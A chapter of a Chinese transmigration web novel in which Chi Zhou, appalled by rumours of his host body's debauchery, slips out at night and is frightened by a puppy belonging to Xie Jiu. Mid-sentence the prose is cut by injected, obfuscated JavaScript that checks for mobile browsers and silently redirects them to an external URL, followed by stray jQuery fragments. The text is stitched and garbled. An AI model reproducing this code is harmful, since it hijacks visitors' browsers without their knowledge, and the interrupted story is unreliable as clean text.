池舟在现代是独生子,父母车祸去世,给他留下了一大笔赔偿金。
他从高中开始就一个人生活,身边没有年龄相仿的兄弟姐妹,也没跟比他年纪小很多的女孩子相处过。
真要说的话,后来在公司带的那些实习生里倒是有几个格外活泼热闹的小女生。每天午休往那一坐,叽叽喳喳得像是电线杆上小麻雀开大会,很是可爱。
池舟偶尔路过,也知道现在的小孩爱好跟他念书的时候完全不一样,但哪怕在现代,他也没听谁明目张胆地在路上就问两个男人谁能生小孩的。
池舟抬眼望天,一时很迷茫,有些分不清他和池桐到底谁才是老古董。
池桐视线从院子里那几棵还没开花的杏树上收回来,望见池舟思索人生的表情,没忍住乐了:“哥哥,锦都那些传闻都是真的吗?”
池舟看向她:“什么?”
池桐往前走着,慢慢悠悠地说:“说你生性放荡,极不满足,夜宿青楼,夜御七男,当为男子表率。”
她说着顿了顿,回过头看向已经石化在原地的池舟,唇角勾出一个无害的笑容,特别天真困惑:“我很好奇,你这个名声,到底怎么敢向六殿下提亲的?你难道不知道他那个人——”
“从四肢百骸,到心肝脾肺肾,全部都是黑的吗?”池桐轻声笑着,好像很想看她哥现在就撞墙死掉一样。
之后一路,池舟整个人都是木的。
木愣愣地跟在池桐身后进了老夫人的碧梧苑,木愣愣地向老夫人请安赔罪,木愣愣地站在一边听祖母训诫,然后留在那里一起吃了晚膳才回。
明熙过来接人的时候还有点心虚,小心翼翼地观察自家少爷神色,做好了他一抬手自己立马磕头认罪的心理准备,结果直到回到原主住的小院,池舟都没说一句话。
也不知道是不是被夫人打傻了。
明熙忍不住地想。
他犹豫了半晌,还是唤了一声:“少爷?”
池舟被他唤回了神,眼睛转过来,艰难地找到焦点。
明熙被他那副宛如提线木偶的神态吓得往后大跳了一步,双手比出一个防御姿态,一声“呔!”就要从喉咙里蹦出来。
池舟跟死了也没两样,见他动静这么大,没被吓到,只是略有些疲倦地摆摆手:“下去吧。”
明熙声音卡在喉咙里,不上不下,憋了一大口气,猛地咳嗽起来。
池舟没办法,叹了口气,走到他身边替他拍背,又从桌上茶壶里倒了杯水递过去。
明熙灌了一杯冷茶,冲他家少爷眨巴眨巴眼睛:“少爷,你没事啊?”
池舟:“没事。”只是有点死了而已。
他打发走明熙,窝在窗边小榻上,看着院外逐渐黯淡下来的天色,半晌没动弹。
他有点怀疑人生。
池舟觉得自己是没什么洁癖的,虽然他在现代母胎单身了二十六年,但一开始是学业,后来是工作,又因为自小就没什么亲缘关系,一个人独来独往惯了,情感需求并不大。
是以他对感情方面的认知非常浅薄,相爱就在一起,不爱就分开。
他不觉得自己有什么封建思想,一辈子只能钟情一个人什么的,那也太难求,没必要执着。
但原主还是太超前了。
太!超!前!了!
池舟知道宁平侯在原著里是个纵情声色、纸醉金迷的纨绔子弟,从不奢望他能是什么好货色。
但池桐午后那轻飘飘的几句话,还是震碎了他的世界观。
比他知道自己要跟男主成亲,然后被对方凌迟喂狗还要震惊。
是人吗?
池舟很纳闷。
突破生理极限了吧?
他低下头,透过衣服盯着自己的某部位,不是很能理解。
原主有那本事?
假的吧?
池舟整个人恍恍惚惚,一边非常嫌弃,一边有种莫名的探知欲涌上了心头。
他是真的很好奇,没有哪个男的能不好奇。
太想知道了……
但池舟只是盯着看了一会儿,便移开了视线。
挺变态的。
他决定传言只信一半。
……算了,一半的一半吧。
反正他不信原主有那能力,不然性-欲这么旺盛,他用这具身体这些天,连晨-勃都没感受过就很难解释了。
池舟思考了一下午,终于找到一个突破点,企图从科学层面缓解自己心里的抵触。
但他还是很崩溃。
这下不仅是得逃婚了,他甚至想逃离这个国家。
要说原本还仗着有四十多天不慌不忙,想要做好计划再走,现在池舟恨不得连夜扛着马车跑。
天刚擦黑,院门还没落锁。
他想了一会儿,到底是没沉住气,一个鲤鱼打挺跳起来,跑回卧室翻出前两天就准备好的小包袱背在身上。
临出门的时候想了想,又从柜子里翻出一件狐毛披风,松松垮垮地系着,正好遮住他背上的包袱。
池舟推开门往外走,刚走没两步,身后传来一道疑惑的声音:“少爷,你要去哪啊?”
池舟身形一僵,明熙绕到他身前,盯着他思考了两秒,恍然大悟,纠结着放低声音说:“这不好吧少爷,夫人刚回来呢。”
这话一出,池舟就知道这小孩误会了什么。
但他懒得解释了,原主人设把他害得恨不得找块豆腐撞死,好不容易能利用,不用白不用。
是以池舟也压着声音,装出几分威严来:“你下午丢下我一个人跑了我还没跟你算账,要是敢告诉我娘,小心我扣你工钱!”
池舟觉得自己找到了一个在封建社会主人家对仆役最轻的惩罚,谁知明熙闻言竟一下子大惊失色,连忙道:“不要啊少爷!您哪怕打我一顿也好啊,千万别扣我工钱,我上有老下有小,一家子就指着我这点工钱过日子啊!”
池舟:“……”
池舟被他嚎得耳膜生疼,缓了好半天才回过神来。
“你哪来的小?”池舟问。
明熙答:“我养了两只鸭子,一公一母,可可爱了,过段时间天暖和了它们就能下蛋了,少爷您可不能让我们孤儿寡母的饿死啊!”
池舟盯他好一会儿,很想问他两只鸭子到底怎么才算孤儿寡母,又生怕自己张嘴一问,这小孩给他扯出更多人类难以想象的鬼话来。
所以他干脆不问了,就势恶狠狠地说:“总之你就当今晚没看见我出去,否则仔细我给你脱了裤子放在大门口打,叫过往的人都看着。”
明熙脸更白了,看池舟的眼神像看阎王。
他挣扎两秒,果断转身,飞也似的跑回了自己房里。
池舟站在原地看他背影,没忍住,低下头
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15785350|174858||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
轻轻地笑出了声。
逗小孩真挺有意思,能有效缓解郁闷情绪。
这样想着,池舟不免想到另一个小孩。
啧。
他摇了摇头,把某只凶巴巴的大猫从脑海里赶走,朝后门走去。
后门看守少,这个点都吃过饭正在犯懒,池舟担心被人看到,没正儿八经走门,猫着身子溜到角落,找到几块石头垫脚,翻墙爬了出去。
落地之后他拍了拍身上尘土,辨别了下方向。
池舟没让明熙跟着,自然也没马车。
侯府后门所在的街巷僻静偏远,走去长街还要一段距离,好在天虽然黑了,但星星很亮,不至于漆黑一片看不清路。
池舟在巷子里走着,难免觉得有些阴差阳错。
想了这些天要跑要跑,没真跑得了,被池桐一番话吓跑了。
他觉得有些好笑,但又很坦然地接受了自己好像是个怂包的设定。
实在没办法,太社死了,但凡完整接受过九年义务教育的人面对这种情况都会觉得崩溃的吧。
池舟一步一步往前走,漫无目的地胡思乱想,焦躁的心情奇异地放松了下来。
暮春晚风还带着些冷意,穿过巷口抚到身上,有些凉丝丝的触感。
池舟紧了紧身上的披风,正在心里感叹好像出逃也不像他之前想的那样难的时候,突然听到一阵狗叫声。
巷子尽头一户人家的大门打开,有人提着灯笼往外走,身边跟着一团黑色物体。
只一眼,池舟就走不动道了。
他从来不知道自己怕狗。
那条狗小得厉害,跟个奶娃娃似的,毛发短短,身体肉肉,浑身漆黑,融在黑夜里几乎看不见影子,唯独一双眼睛亮得像两颗掉在水里的星星,存在感极强。
池舟不动声色地往后退了两步,暗暗希望它主人赶紧带它往相反的方向去。
可天不遂人愿,几乎是池舟刚有动作的同一时刻,他看见那条狗崽在原地停了一下,猛地转过身子朝他这边看来,明亮的圆眸迅速锁定他的位置。
紧接着,还不待池舟有任何反应,它就跟小炮弹一样一边汪汪叫着一边飞速冲他跑来。
池舟只觉得浑身血液都在那一瞬间凝固了。
他以前真的不怕狗的,但或许是噩梦缠身投射现实,这幅场景落在池舟眼中,和梦中情形高度重合。
逼仄的窄巷变成了昏暗的天牢,矮小的幼犬长成了凶狠的狼狗,伫立的人化作行刑的衙役。
好似下一刻,就会有锋利的刀刃割上他咽喉,取下最软的一块肉喂给这只幼犬,任它咀嚼吞咽,再留着涎水觊觎他身上剩下的皮-肉,恨不得悉数撕咬入腹。
池舟浑身发紧,每一个细胞都在叫嚣着快逃,可身体却不受控制地僵立在原地。
在那条狗扑到身前的最后一刹,他猛地闭上眼睛,宛如引颈就戮的天鹅,身边风声都静止。
可是与此同时,他听见一道冷到极点也愤怒到极点的呵斥划破夜空:“滚回来!”
夜色深沉,小狗激动的叫声变成委屈的呜咽。池舟茫然地睁开眼,在一片模糊的水光中,看见谢究焦急后怕的脸。
“……”
良久,池舟近乎无力地长叹了一声,靠着围墙坐了下去,晚风从他脸颊拂过,吹干一滴没能落下来的泪。
“是你养的狗啊。”